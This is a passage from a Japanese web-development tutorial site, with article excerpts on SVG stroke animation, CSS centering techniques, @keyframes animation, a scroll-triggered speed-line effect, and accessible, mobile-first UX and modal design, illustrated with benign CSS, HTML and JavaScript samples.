パスの全長以上の固定値を指定 */ stroke-dashoffset: 300; /* 同じ値でいったん線を隠す */ animation: draw 2.5s ease-out forwards; } @keyframes draw { to { stroke-dashoffset: 0; } } 注意点は stroke-dasharray の値です。パスの実際の全長より小さいと線の途中で止まり、大きすぎると描き始めに間（ま）ができます。パスを変えるたびに数値を調整する必要があるのがCSSのみの弱点で、これを自動化したいときは次のJavaScriptの方法が便利です。 JavaScriptでパス長を正確に取得する パスの全長を手で測らずに済ませるには、getTotalLength() を使います。パスの正確な長さを取得して stroke-dasharray と stroke-dashoffset に設定するので、パスを変更してもコードを直す必要がありません。 const path = document.getElementById('logo'); const length = path.getTotalLength(); // パスの全長を正確に取得 path.style.strokeDasharray = length; path.style.strokeDashoffset = length; path.getBoundingClientRect(); // 再描画を強制（オフセット反映のため） path.style.transition = 'stroke-dashoffset 2.5s ease-out'; path.style.strokeDashoffset = '0'; // 0に向けて線を描画 CSSのみとJavaScript制御は、それぞれ向き不向きがあります。用途で選びましょう。 観点CSSのみJavaScript（getTotalLength）パス長の指定全長以上を手動で概算自動で正確に取得パス変更への追従都度dasharrayを再調整コードがそのまま追従発火タイミング読み込み時・hoverなどスクロール連動・任意のイベント複数パスの順次描画delayを手計算ループで自動化できる向いている場面単純な1パスの装飾ロゴ署名・スクロール演出・複数パス このアニメーションの特徴 このストロークアニメーションは以下のような特徴を持っています： 軽量SVGはベクター形式で記述されるため、画像形式よりも軽量で高解像度を維持できます。 滑らかな動きCSSトランジションを使用することで、ストロークが描画される様子をスムーズに表現しています。 カスタマイズ性色や線の幅、アニメーション速度を簡単に調整できるため、様々なデザインに応用可能です。 どんな場面で使える？ このようなアニメーションは、以下のようなシーンで効果を発揮します： ローディング画面ページやコンテンツが読み込まれる間に表示されると、待機時間が短く感じられます。 アイコンの強調特定の操作を促すボタンやアイコンの周囲に動きを与えることで、視覚的な注意を引きつけることができます。 インタラクティブな要素ホバーやクリック時にアニメーションを発動することで、ユーザーとのインタラクションを強化します。 実務Tips（ベストプラクティス集） 複雑すぎるパスを避ける SVGパスが極端に複雑だと、アニメーションがカクついたり描画負荷が高くなります。必要に応じてIllustratorやFigmaでアンカーポイントを減らし、パスを最適化しましょう。 カクつきは will-change で抑える アニメーション対象に will-change を指定すると、ブラウザが描画を最適化しやすくなり、カクつきを軽減できます。多用は禁物ですが、主役のパスに限定して使うのが効果的です。 .draw-path { will-change: stroke-dashoffset; /* 描画を最適化してカクつきを抑える */ } 複数のパスを順番に描画する ロゴや文字など複数のパスを順番に描きたいときは、各パスの全長を取得し、animation-delay を少しずつずらします。JavaScriptならループで自動化できます。 document.querySelectorAll('.draw-path').forEach((p, i) => { const len = p.getTotalLength(); p.style.strokeDasharray = len; p.style.strokeDashoffset = len; p.style.animation = `draw 2s ease forwards ${i * 0.4}s`; // 0.4秒ずつ遅らせる }); レスポンシブは vector-effect で線幅を保つ SVGは拡大縮小に強いですが、viewBox を必ず設定し、固定幅を避けて width="100%" を使うと崩れにくくなります。さらに vector-effect: non-scaling-stroke を指定すると、拡大しても線幅が太くならず一定に保てます。 prefers-reduced-motion でアクセシビリティに配慮する 動きを抑えたいユーザー向けに、prefers-reduced-motion でアニメーションを無効化し、完成形を即座に表示する分岐を入れておくと親切です。 @media (prefers-reduced-motion: reduce) { .draw-path { animation: none; /* アニメーションを無効化 */ stroke-dashoffset: 0; /* 完成形を即表示 */ } } フォールバックを用意する ごく一部の環境ではSVGアニメーションが意図通り動かないことがあります。重要な情報を線画だけに頼らせず、静的なSVG／PNGでも内容が伝わるようにしておくと安全です。 うまく描画されないときのチェックリスト ストロークアニメーションが思いどおりに動かないときは、原因の多くが次の5つに集約されます。上から順に確認すると早く解決できます。 線が途中で止まる → stroke-dasharray がパスの全長より小さい。全長以上の値（迷ったら getTotalLength() の値）を入れる。 塗りつぶされて線画に見えない → path に fill="none" が無い。塗りが残ると描画演出が見えない。 アニメーション後に線が消える → animation に forwards が無い。最終状態を保持するには forwards を指定する。 そもそも線が見えない → stroke と stroke-width が未指定。色と太さを必ず指定する。 描き始めに不自然な間ができる → stroke-dasharray が全長より大きすぎる。全長に近い値へ調整する。 応用と次の一手 ここまでの仕組みは、ロゴの「署名のように描かれる」演出、ローディングインジケーター、アイコンの強調など、幅広く応用できます。まずは1パスのCSS実装で動きを掴み、複数パスやスクロール連動が必要になったらJavaScript制御へ広げる、という順番がおすすめです。 次の一手として、動いているコードをそのままAIに渡して改造する方法があります。色・速度・対象要素だけを差分で指示すれば、ゼロから生成させるより速く確実です。詳しくは CSSアニメーションはAIに「コードを渡して」作る で解説しています。 ### [CSS中央寄せのやり方｜手法の選び分けと効かない原因の数値診断](https://codequest.work/css-center-alignment-guide/) CSSの中央寄せで手が止まるのは、手法を知らないからではなく、手法が多すぎてどれを選べばよいか決まらないからです。そして選んだあとにもう一度止まります。指定したのに中央に来ない、という状態です。 CSS中央寄せとは、要素を親要素または画面の水平・垂直方向の中心に配置する指定の総称です。使うプロパティは「何を・どの軸で中央にしたいか」で一意に決まります。水平だけなら margin-inline: auto か text-align: center、垂直だけなら align-content: center、上下左右まとめてなら Flexbox か Grid です。 本記事は、その選び分けの表を先頭に置き、各手法が実際にどう効くのかを数値で示し、最後に「効いているつもりで効いていない」ときにブラウザのコンソールで原因を数値として切り出す手順までをまとめた実務リファレンスです。掲載した数値はすべて Chrome 150（macOS）で実際にレンダリングし、getBoundingClientRect() で計測した実測値です（計測日 2026年8月2日）。 CSS中央寄せは「何を・どの軸で」中央にするかで決まる 中央寄せの手法は10個近くありますが、実務で迷う場面は「対象がテキストか要素か」「軸が横か縦か両方か」「子が1つか複数か」の3点でほぼ確定します。先に判断軸を決めてから表を引くと、選択肢は1つに絞れます。 まず結論：迷ったらこの3つで足りる 親の display を変えたくないとき — 親に height と align-content: center、子に margin-inline: auto。Flexbox も Grid も使わずに上下左右中央になります 子が1つで上下左右中央にしたいとき — 親に display: grid; place-items: center; 子が複数あって、まとめて中央に置きたいとき — 親に display: grid; place-content: center; 1番目は2024年から全ブラウザで使えるようになった書き方で、既存のレイアウトに手を入れずに済むため副作用が最も小さい選択肢です。実測では、親400×300pxのブロック要素の中に幅120pxの子を置いたところ、左140px／右140px、上138px／下138pxで両軸中央になりました。 中央寄せ手法の早見表 左端の「やりたいこと」から引いてください。同じ「上下左右中央」でも、子の数と幅を決めるかどうかで書き方が変わります。 やりたいこと使うもの書き方テキスト・インライン要素を水平中央text-align親に text-align: centerブロック要素を水平中央margin子に margin-inline: auto（幅の指定が必要）画像を水平中央display + margin子に display: block; margin-inline: autodisplay を変えずに垂直中央align-content親に height と align-content: center（2024年〜）子1つを上下左右中央（Flexbox）Flexbox親に justify-content: center; align-items: center子1つを上下左右中央（Grid）Grid親に place-items: center幅を決めずに上下左右中央flex / grid の子の margin親を flex か grid にして、子に margin: auto絶対配置の要素を中央inset + margin子に position: absolute; inset: 0; margin: auto とサイズ指定複数の子をひとかたまりで中央Grid親に place-content: centerモーダルを画面中央dialog 要素<dialog> と showModal()（ブラウザ標準で中央） 表に出てくる place-items・align-content・margin-inline のように名前が似たプロパティは、後から索引で引き直せるようにしておくと迷いが減ります。CSSプロパティ一覧（カテゴリ別リファレンス）に一通りまとめてあります。 水平方向の中央寄せ 横方向だけを中央にしたい場合、対象が「文字の並び」なのか「箱そのもの」なのかで使うプロパティが変わります。ここを取り違えると、指定は書けているのに何も動かない状態になります。 テキストとインライン要素は text-align: center .container { text-align: center; } 幅500pxの親でこれを実測すると、中のインライン要素（span）は左229.74px／右229.74pxで中央に来ました。ところが同じ親の中に置いたブロック要素の子は、左0px／右400pxのまま動きません。text-align が動かすのは行の中身であって、箱そのものではないためです。 落とし穴が2つあります。1つ目は継承です。text-align は継承するプロパティなので、親に一度書くと孫要素のテキストまで中央になります（実測でも、入れ子にした段落の算出値が center になりました）。範囲を限定したい場合は、対象の要素に直接書くか、子側で text-align: left に戻す必要があります。 2つ目は、Flexboxのアイテムには効かないことです。親を display: flex にしたうえで text-align: center を足しても、実測でアイテムは左0px／右280pxのまま中央になりませんでした。Flexアイテムの位置を動かすのは justify-content であり、text-align はアイテムの内側の文字にしか届きません。 ブロック要素は margin-inline: auto（margin: 0 auto の現行版） .box { width: 50%; margin-inline: auto; } 親400pxに対して実測で左100px／右100px。従来の margin: 0 auto と横書きでは結果が完全に一致します（同条件で左100px／右100px）。違いが出るのは書字方向を変えたときです。 親に writing-mode: vertical-rl を指定した200×400pxの領域で、高さ50%の子を中央に寄せる実測結果です。margin-inline: auto は上100px／下100pxで中央になりましたが、margin: 0 auto は上0px／下200pxで中央になりませんでした。margin-inline は「文字が流れる方向」を基準に解決されるため、縦書きでは自動的に上下方向へ切り替わります。横書き固定のサイトなら結果は同じですが、書字方向を切り替える可能性があるなら margin-inline を選んでおくと安全です。 対応状況は margin-inline が Baseline widely available（Chrome 87・Firefox 66・Safari 14.1 以降）で、実務で対応を気にする段階は過ぎています。 「width の指定が必要」の正確な条件。通常フローのブロック要素は幅が親いっぱいに広がるため、width か max-width を指定しないと左右に余白が生まれず、auto が配れるものがなくなります。ただし、よく見かける「指定しないとデフォルトで幅100%になるから」という説明は正確ではありません。初期値の width: auto は「利用できる幅を埋める」であって width: 100% とは別物です。実測でも、親400pxの中で width: 100%; padding: 0 24px; を指定した要素は448pxになって48pxはみ出しましたが、width を書かずに同じ padding を付けた要素は400pxに収まりました。 そして width が要るのは通常フローのブロック要素に限った話です。Flexboxやgridの子要素、あるいは inset: 0 を付けた絶対配置の要素では、width を書かなくても margin: auto だけで中央になります（後述）。 画像に display: block を足す理由 img { display: block; margin-inline: auto; } img は初期状態がインラインレベルの要素なので、そのままでは左右の margin: auto が余白を配る対象になりません。display: block を足すことでブロックとして扱われ、実測で親400px・画像100pxに対し左150px／右150pxの中央に来ました。親側に text-align: center を書く方法でも同じ結果になりますが、その場合は親の中のテキストもすべて中央寄せになる点に注意してください。 垂直方向の中央寄せ 縦方向の中央寄せは、横方向と違ってまず親に高さがあることが前提になります。高さのない親の中で「上下中央」を指定しても、寄せる余白そのものが存在しないため何も起きません。 Flexbox の align-items: center（親の高さが要る） .container { display: flex; align-items: center; min-height: 320px; } この min-height を外すと何が起きるかを実測しました。親の高さを指定せずに display: flex; align-items: center; だけを書いた場合、親の高さは子と同じ40pxに縮み、子の上余白0px／下余白0pxになります。指定自体は効いているのに、寄せる先の余白がゼロなので見た目が変わらない、という状態です。垂直中央が効かないときは、まず親の高さを疑ってください。 display を変えずに縦中央にする align-content: center（2024年〜） .container { height: 300px; align-content: center; } align-content はもともとFlexboxとGridのためのプロパティでしたが、通常のブロックレイアウトにも適用されるようになりました。実測で、親400×300pxの中に高さ24pxの子を置くと上138px／下138pxの縦中央になります。display を flex や grid に変えないので、子要素の回り込みやマージン相殺といった既存の挙動を壊さずに縦中央だけを足せるのが利点です。 対応状況は Baseline newly available（2024年4月16日）、Chrome 123・Firefox 125・Safari 17.4 以降です。比較的新しい書き方なので、これより古いブラウザを対象に含む場合はFlexboxを併用してください。 横方向の margin-inline: auto と組み合わせると、Flexbox も Grid も使わずに上下左右中央が完成します。実測では左140px／右140px、上138px／下138pxでした。 .container { height: 300px; align-content: center; } .box { width: 120px; margin-inline: auto; } line-height が使えるのは1行のときだけ 親の高さと同じ line-height を指定して縦中央にする書き方は、いまでも1行のボタンやバッジでは有効です。ただし折り返しが起きた瞬間に破綻します。 実測です。 ### [CSSアニメーション徹底解説｜@keyframes の基本から応用まで](https://codequest.work/css-keyframes-animation-guide/) @keyframes とは？ @keyframes は、CSS でアニメーションを作成する際に使用する規則です。アニメーションの進行状態に応じて、特定のプロパティをどのように変化させるかを指定できます。 例えば、要素の位置、色、サイズ、透明度などを時間とともに変化させることができます。 @keyframes の基本構文 @keyframes の基本的な構文は以下の通りです： @keyframes アニメーション名 { 0% { プロパティ: 値; } 50% { プロパティ: 値; } 100% { プロパティ: 値; } } 0%: アニメーションの開始時点を示します。50%: アニメーション進行の途中（例: 中間点）を示します。100%: アニメーションの終了時点を示します。 @keyframes を使った具体例 簡単な例: 色の変化 以下は、背景色を変化させるアニメーションの例です。 @keyframes changeColor { 0% { background-color: red; } 50% { background-color: yellow; } 100% { background-color: green; } } .box { width: 100px; height: 100px; animation: changeColor 3s infinite; } animation プロパティ: このプロパティでアニメーションを適用します。 3s: アニメーションの時間（3秒）。 infinite: アニメーションを無限ループさせる。 ステップごとの変化: 複数の中間点 @keyframes では、必要に応じて任意の割合で中間点を指定できます。 @keyframes moveBox { 0% { transform: translateX(0); } 25% { transform: translateX(50px); } 50% { transform: translateX(100px); } 75% { transform: translateX(150px); } 100% { transform: translateX(200px); } } .box { width: 50px; height: 50px; background-color: blue; animation: moveBox 4s ease-in-out infinite; } CSSアニメーションと @keyframes の組み合わせ @keyframes を使う際には、animation プロパティで詳細な設定を行います。主なプロパティは以下の通りです： animation-name: アニメーション名を指定。 animation-duration: アニメーションの再生時間を設定。 animation-timing-function: アニメーションの速度変化を指定。 animation-delay: アニメーション開始の遅延時間を指定。 animation-iteration-count: 再生回数を指定。 animation-direction: アニメーションの方向を指定（例: alternate）。 例: すべてのプロパティを適用 @keyframes scaleUp { 0% { transform: scale(1); } 100% { transform: scale(1.5); } } .box { width: 100px; height: 100px; background-color: purple; animation: scaleUp 2s ease-in 1s 3 alternate; } 2s: 再生時間。ease-in: スムーズな開始。1s: 1秒遅延。3: 再生回数。alternate: 再生時に逆再生を繰り返す。 実践的な例: ボタンのホバーアニメーション 以下は、ボタンにホバー時のアニメーションを追加する例です。 @keyframes hoverShadow { 0% { box-shadow: 0 0 5px rgba(0, 0, 0, 0.3); } 100% { box-shadow: 0 0 20px rgba(0, 0, 0, 0.6); } } button { padding: 10px 20px; border: none; background-color: #007bff; color: white; cursor: pointer; animation: hoverShadow 0.5s ease-in-out infinite alternate; } 1. animation-direction（アニメーションの方向） animation-direction は、アニメーションの再生方向を設定するプロパティです。以下のような値を指定できます： 値説明normalデフォルトの設定。最初から最後まで再生します（通常の方向）。reverseアニメーションを最後から最初に再生します（逆方向）。alternate最初から最後、次に最後から最初へと交互に再生します。alternate-reverse最初は逆方向（最後から最初）で再生し、その後、通常の方向で交互に再生します。 例: animation-direction の使い方 @keyframes bounce { 0% { transform: translateY(0); } 50% { transform: translateY(-50px); } 100% { transform: translateY(0); } } .box { width: 50px; height: 50px; background-color: orange; animation: bounce 2s ease-in-out infinite alternate; } alternate の指定により、アニメーションが上昇（0% → 50%）と下降（50% → 100%）を繰り返します。 2. animation-iteration-count（再生回数の指定） animation-iteration-count は、アニメーションの再生回数を指定するプロパティです。以下の値を設定できます： 値説明数値（例: 1, 3）アニメーションを指定回数だけ再生します。infiniteアニメーションを無限に繰り返します。 例: animation-iteration-count の使い方 @keyframes fadeInOut { 0% { opacity: 0; } 50% { opacity: 1; } 100% { opacity: 0; } } .box { width: 100px; height: 100px; background-color: lightblue; animation: fadeInOut 2s linear 3; } 上記の例では、アニメーションが 3 回再生された後に停止します。 3. animation-timing-function（速度変化の指定） アニメーションの速度変化を制御するプロパティです。以下の値を指定できます： 値説明linear一定の速度で再生されます。easeスムーズな加速と減速（デフォルト値）。ease-inゆっくりと始まり、最後に急加速します。ease-out初めは速く、最後にゆっくりと減速します。ease-in-outゆっくり始まり、ゆっくり終わる（中間部分は速い）。steps(n, start/end)指定したステップ数で変化します（例: steps(4, end)）。 例: timing-function の使い方 @keyframes slideIn { 0% { transform: translateX(-100%); } 100% { transform: translateX(0); } } .box { width: 200px; height: 50px; background-color: lightgreen; animation: slideIn 3s ease-in-out infinite; } 4. animation-fill-mode（アニメーション終了後の状態） アニメーションが終了した後、要素の状態を制御します。 値説明noneアニメーションが終了したら、要素は初期状態に戻ります（デフォルト）。forwardsアニメーションの最終状態を保持します。backwardsアニメーションの最初の状態を保持します。bothアニメーション開始前と終了後の状態を保持します。 例: fill-mode の使い方 @keyframes grow { 0% { transform: scale(1); } 100% { transform: scale(1.5); } } .box { width: 50px; height: 50px; background-color: pink; animation: grow 2s forwards; } 5. animation-delay（アニメーションの遅延） アニメーションの開始を遅らせる時間を指定します。 値説明0s遅延なし（デフォルト）。数値（例: 1s, 500ms）アニメーション開始を遅らせる時間。 例: animation-delay の使い方 @keyframes spin { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } } .box { width: 50px; height: 50px; background-color: lightcoral; animation: spin 2s linear infinite; animation-delay: 1s; } 組み合わせた例 最後に、上記すべてを組み合わせた例を示します： @keyframes complexAnimation { 0% { transform: translateY(0) scale(1); } 50% { transform: translateY(-50px) scale(1.2); } 100% { transform: translateY(0) scale(1); } } .box { width: 100px; height: 100px; background-color: deepskyblue; animation: complexAnimation 3s ease-in-out infinite alternate; } この例では、ボックスが上下に移動しながらサイズを変化させ、スムーズに繰り返し動きます。 CSSのtransitionとanimation（@keyframes）の違い CSSで動きをつける方法は主にtransitionとanimation（@keyframes）の2つがあります。どちらを使うべきか迷う場合は、以下の比較を参考にしてください。 ### [Speed Lineアニメーションの作り方｜CSSとJavaScriptで動きのあるUIを演出](https://codequest.work/speed-line-animation/) スピードラインCSSアニメーションとは Webサイトにスピード感を演出するスピードラインアニメーションは、視覚的なインパクトを与えるだけでなく、モダンなデザインとして注目されています。本記事では、CSSとJavaScriptを使ったSpeed Lineアニメーションの作成方法を初心者向けに解説します。 目次 スピードラインアニメーションとは？ 必要な準備 基本的なコード例 応用例：ボタンやブロックのアニメーション まとめ 1. Speed Lineアニメーションとは？ Speed Lineアニメーションは、画面上にスピード感のある線が描かれるエフェクトです。これを使用することで、以下のような効果が期待できます： Webサイトの視覚的インパクトを向上 ユーザーの注目を引く ダイナミックなコンテンツと調和 このアニメーションは、CSSの@keyframesで基本的な動きを作成し、JavaScriptを使って動的な要素を追加することで実現します。 2. 必要な準備 Speed Lineアニメーションを作成するには、以下の環境が必要です： HTML（基本的な構造を定義） CSS（アニメーションのデザイン） JavaScript（ランダム性や動的な動きを追加） 準備ができたら、実装に進みましょう。 See the Pen speedLine by masakazuimai (@masakazuimai) on CodePen. 応用例：特定の要素が画面内に入った際に発動 Speed Lineアニメーションは、特定のボタンやセクションがスクロールで画面に入ったタイミングで発動させることも可能です。このような動作は、視覚的なアクセントを追加するだけでなく、ユーザーの注目を集める効果的な手法です。 実装手順 以下のステップで、スクロールイベントを利用してアニメーションを発動します。 対象の要素をHTMLに追加ボタンやセクションを追加します。 Intersection Observer APIを使用要素が画面内に入った際にアニメーションを発動します。 Speed Lineの作成をトリガー入った要素に応じてSpeed Lineを表示。 <!DOCTYPE html> <html lang="ja"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Speed Line Trigger Example</title> <link rel="stylesheet" href="styles.css"> </head> <body> <div class="content"> <h1>スクロールしてボタンを見つけてください</h1> <div class="spacer"></div> <button class="target-button">クリックしてください</button> <div class="spacer"></div> </div> <div class="loading-container"></div> <script src="script.js"></script> </body> </html> body { margin: 0; padding: 0; background: black; color: white; font-family: Arial, sans-serif; } .content { text-align: center; padding: 50px; } .spacer { height: 500px; /* 空間を確保 */ } .target-button { padding: 10px 20px; font-size: 18px; background: #1E88A8; color: white; border: none; cursor: pointer; } .loading-container { position: relative; width: 100%; height: 100vh; pointer-events: none; /* 操作不能にする */ } .line { position: absolute; width: 100%; height: 2px; background: #1E88A8; animation: speedLine 2s linear forwards; } @keyframes speedLine { from { transform: translateX(-100%); } to { transform: translateX(100%); } } const container = document.querySelector('.loading-container'); // Speed Lineを作成する関数 function createLine(topPosition) { const line = document.createElement('div'); line.className = 'line'; line.style.top = `${topPosition}px`; container.appendChild(line); setTimeout(() => { line.remove(); }, 2000); // アニメーション終了後に削除 } // Intersection Observerを設定 const observer = new IntersectionObserver((entries) => { entries.forEach((entry) => { if (entry.isIntersecting) { // 要素が画面内に入ったときにSpeed Lineを生成 const rect = entry.target.getBoundingClientRect(); createLine(rect.top + window.scrollY); } }); }); // 対象のボタンを監視 const targetButton = document.querySelector('.target-button'); observer.observe(targetButton); 解説 Intersection Observer APIの利用 スクロールで特定の要素が画面内に入ったかどうかを監視します。 Speed Lineの発動 要素が画面内に入ったタイミングで、アニメーションをトリガーする関数createLineを実行。 アニメーションの削除 アニメーションが完了した後、不要な要素を削除してパフォーマンスを最適化します。 応用例のポイント ボタンの強調: ボタンが画面内に入るタイミングでSpeed Lineを発動し、クリックを誘導。 セクション演出: 複数の要素を監視することで、ページ全体でスムーズな演出を実現可能。 この手法を活用すれば、より魅力的なWebサイトを構築できます！必要に応じて修正ください。 5. まとめ Speed Lineアニメーションは、CSSとJavaScriptを組み合わせることで簡単に実装できます。基本的なエフェクトにランダム性やカラフルな演出を加えることで、オリジナリティを持たせることも可能です。 この記事を参考に、あなたのWebサイトにSpeed Lineアニメーションを取り入れてみてください！ よくある質問（FAQ） Q. Speed Lineアニメーションとは何ですか？ 漫画やアニメで使われる「集中線」や「スピード線」をWeb上で再現するCSSアニメーション技法です。linear-gradientで放射状の線を描画し、CSS animationで回転・拡大させることで、スピード感や注目感を演出します。ボタンのクリックやセクションの強調に使われることが多いUI演出手法です。 Q. Speed Lineアニメーションの実装に必要な技術は？ CSSのbackground（repeating-conic-gradient）、@keyframes、transformプロパティの知識があれば実装できます。より高度な制御にはJavaScriptで角度や速度を動的に変更する実装も可能です。基本的なCSS animationの理解があれば取り組めるレベルのアニメーションです。 ### [UXデザイン実践ガイド｜アクセシビリティ・モバイルファースト・モーダルUI設計](https://codequest.work/accessible-ux-content/) Googleは検索ランキングにおいてUX（ユーザーエクスペリエンス）を重視しており、アクセシビリティ、モバイルファースト設計、UIコンポーネントの品質が評価に直結します。本記事では、GoogleのUX基準を満たすために必要な3つの柱――アクセシビリティとユーザビリティ、モバイルファーストインデックス対応、モーダルUIの効果的な設計――を包括的に解説します。 アクセシビリティとユーザビリティの基本 アクセシビリティとは アクセシビリティとは、身体的・技術的な制約を持つ人を含め、すべての人がWebサイトにアクセスできることを意味します。視覚障害者向けのスクリーンリーダー対応や、キーボードだけで操作可能なUI設計がその代表例です。 ユーザビリティとは ユーザビリティは、使いやすさや操作のしやすさを指します。直感的に理解できるナビゲーション、適切なコントラストを持つデザイン、スムーズなインタラクションなどがユーザビリティを高めます。Googleはこの2つを統合的に考え、すべてのユーザーにとって「価値のある体験」を提供するコンテンツを重視しています。 アクセシビリティの具体的な実装方法 コントラスト比の確保 テキストと背景のコントラスト比は、WCAG（Web Content Accessibility Guidelines）で最低4.5:1以上と定められています。これにより、視覚的な障害を持つユーザーでもコンテンツを読みやすくなります。Googleの Lighthouse でもこの基準がチェックされるため、SEO評価にも影響します。 スクリーンリーダー対応 HTMLタグを正しく使用し、aria属性を適切に設定することで、スクリーンリーダーを利用するユーザーがサイトを操作しやすくなります。特にアイコンボタンやモーダルなどの動的UIでは必須の対応です。 <button aria-label="メニューを閉じる">×</button> <div role="dialog" aria-modal="true" aria-labelledby="modal-title"> <h2 id="modal-title">確認</h2> </div> キーボード操作のサポート すべての操作がマウスなしで可能であることが重要です。フォーム入力やメニュー操作はTabキーやEnterキーで完結できるように設計しましょう。モーダルUIではフォーカストラップ（モーダル内でTabキーが循環する仕組み）の実装も欠かせません。 動的コンテンツへの対応 動的に変化するコンテンツ（ポップアップ、スライダー、モーダルなど）は、適切なロール属性やフォーカス管理を行い、ユーザーが変更を認識できるようにします。 <div role="alert">フォームが送信されました</div> <div role="status">3件の結果が見つかりました</div> モバイルファーストの正しい理解 「モバイルファースト」と聞くと、PCデザインをスマホ風にすることだと誤解されがちですが、本来は最小の環境＝スマートフォンを基準に設計を始める考え方です。 小さな画面で本当に必要な要素だけを取捨選択する タップ操作や読みやすさといったモバイルUXを優先して整える PCやタブレットでは横幅を活かした拡張的なUXを追加する 重要なのは、PCもスマホデザインに合わせるわけではないということです。「スマホを基盤にして、PCを別途デザインする」発想が正しい理解です。 Googleのモバイルファーストインデックス（MFI） Googleは2018年からモバイルファーストインデックス（MFI）を段階的に導入し、2020年以降はほぼすべてのサイトが対象となりました。検索順位はモバイル版ページを基準に評価されるため、いくらPCページが見やすくても、モバイルで使いづらければ検索評価は下がります。 Googleが推奨するモバイルUXの要件 Googleは「モバイルユーザビリティ」を公式にチェックしており、以下のポイントを重視しています。 タップしやすい要素サイズ：最低44px四方 読みやすい文字サイズ：16px以上が推奨 余白の確保：誤タップを防ぐための十分なスペース Core Web Vitals対応：LCP・CLS・INPの最適化 レスポンシブ対応：デバイスに応じて適切に表示されること モバイルファーストとレスポンシブの違い 混同されやすいこの2つは、それぞれ別の概念です。 モバイルファースト：設計思想（どの順番で考えるか） レスポンシブデザイン：実装手法（CSSで幅ごとにレイアウトを変える） 以下はモバイルファーストの典型的なCSS実装です。 /* 基本はスマホ */ body { font-size: 16px; padding: 1rem; } /* タブレット以上 */ @media (min-width: 768px) { body { font-size: 18px; padding: 2rem; } } /* PC以上 */ @media (min-width: 1200px) { body { font-size: 20px; padding: 3rem; } } 最初にスマホ用を定義し、画面幅が広がるほど機能を追加していくのがモバイルファースト的な実装です。 モーダルUIの効果的な設計 モーダル（Modal）は、Webページ上に重ねて表示されるウィンドウです。画像ギャラリー、フォーム入力、重要な通知などに活用されますが、ただ表示するだけではなくUXとアクセシビリティの両面から設計する必要があります。 良いモーダルデザインの条件 視覚的な没入感 ── ユーザーがコンテンツに集中できる ブランドの一貫性 ── サイト全体のデザインと調和している 直感的な操作性 ── マウスでもキーボードでも操作できる アクセシビリティ対応 ── スクリーンリーダーで正しく読み上げられる 背景オーバーレイで没入感を演出する モーダル表示時に背景を暗くする「オーバーレイ」は、以下の効果をもたらします。 視線の集中：背景が暗くなることでモーダルが自然と目立つ 没入感の演出：映画館のように周囲を暗くし、コンテンツへの集中を促す 操作範囲の明確化：「背景は触れません」というメッセージを視覚的に伝える 高級感の付与：洗練された印象を与え、コンテンツの品質を高める 暗さの度合いも重要です。真っ黒にするのではなく、うっすらと背景が見える程度の透明度を保つことで、ユーザーは「元のページの上にモーダルが表示されている」という状況を理解できます。 モーダル内テキストの実装方法 モーダル内のテロップ（文字情報）を表示する方法は、画像埋め込みとHTML/CSSコーディングの2つがあります。HTML/CSSでの実装を推奨します。 HTML/CSSコーディングのメリット： サイトのフォントと統一でき、ブランドの一貫性を保てる テキスト修正がコード変更だけで完了する 検索エンジンがテキストを認識できる（SEO効果） スクリーンリーダーが読み上げ可能（アクセシビリティ） レスポンシブ対応しやすく、ファイルサイズも小さい 写真の上にテキストを重ねる場合は、テキストシャドウで可読性を確保し、フォントサイズと透明度を調整して情報の優先度を示しましょう。 モーダルのアクセシビリティ対応 モーダルは動的UIの代表格であり、アクセシビリティ対応が特に求められます。以下は必須の実装ポイントです。 role="dialog" と aria-modal="true" を設定する aria-labelledby でモーダルのタイトルを関連付ける Escキーで閉じられるようにする フォーカストラップを実装し、Tab操作がモーダル内で循環するようにする 閉じた後にフォーカスを元のトリガー要素に戻す ユーザビリティを高めるポイント ナビゲーションの明確化 ナビゲーションは直感的に理解できるように設計しましょう。多くのページで一貫性のあるメニュー構造を提供し、モバイルではハンバーガーメニューなどの適切なUIパターンを採用します。 ページの読み込み速度 ユーザーの離脱を防ぐために、ページの読み込み速度の高速化は必須です。画像の圧縮、キャッシュの活用、不要なスクリプトの削除に加え、Core Web Vitals（LCP・CLS・INP）を意識した最適化を行いましょう。 ユーザーへのフィードバック 操作が成功したかどうか、ユーザーにフィードバックを即座に提供することが重要です。フォーム送信後の完了メッセージ、ボタンのローディング状態、エラーメッセージの表示など、状態変化を明確に伝えましょう。 <div role="status" aria-live="polite">登録が完了しました</div> フォントとカラースキームの統一 フォントは色やレイアウトと同じくらいサイトの印象を左右します。サイト全体で一貫したフォントとカラースキームを使用し、モーダルやポップアップなどの動的UIにも同じスタイルを適用しましょう。統一感のあるデザインがプロフェッショナルな印象を与えます。 GoogleのUX評価とSEOへの影響 Googleはアクセシビリティやユーザビリティが高いサイトを検索順位で優遇する傾向があります。以下の要素は検索評価に直結します。 モバイルフレンドリー：MFIによりモバイル版ページが評価基準 Core Web Vitals：ページの表示速度・レイアウト安定性・応答性 ページエクスペリエンス：HTTPS、セーフブラウジング、インタースティシャル非使用 アクセシビリティ：Lighthouseスコアで技術的な品質を確認可能 Googleは特にインタースティシャル（ページ全体を覆うポップアップ）に厳しい姿勢を示しています。モーダルを使う場合は、ユーザーの閲覧を妨げない設計が不可欠です。コンテンツの質だけでなく、技術的な側面も重視する必要があります。 UX改善に使えるツール アクセシビリティチェック Lighthouse（Google提供）── パフォーマンス・アクセシビリティ・SEOを総合チェック axe DevTools ── アクセシビリティに特化した詳細テスト Google Search Console ── モバイルユーザビリティの問題を検出 ユーザビリティ分析 PageSpeed Insights ── Core Web Vitalsの実測値とラボデータ Chrome DevTools ── レスポンシブ表示確認とパフォーマンス分析 これらのツールを活用することで、現状の課題を把握し、改善点を特定できます。 まとめ GoogleのUX基準を満たすWebデザインには、3つの柱が欠かせません。 アクセシビリティ：WCAG準拠のコントラスト比、スクリーンリーダー対応、キーボード操作サポートで、すべてのユーザーがアクセスできるサイトを作る モバイルファースト：スマホを基盤に設計し、PCでは拡張的なUXを追加する。MFI対応はSEOの必須条件 UIコンポーネント設計：モーダルなどの動的UIでは、没入感の演出とアクセシビリティ対応を両立させる これらを意識した設計と実装を行うことで、Googleの評価を高めながら、すべてのユーザーにとって快適な体験を提供できます。技術的な知識とユーザー視点の両立が、優れたWebサイト制作の鍵です。 ### [スーパーリロードとキャッシュクリアの基本](https://codequest.work/super-reload-cache-clear-guide/) 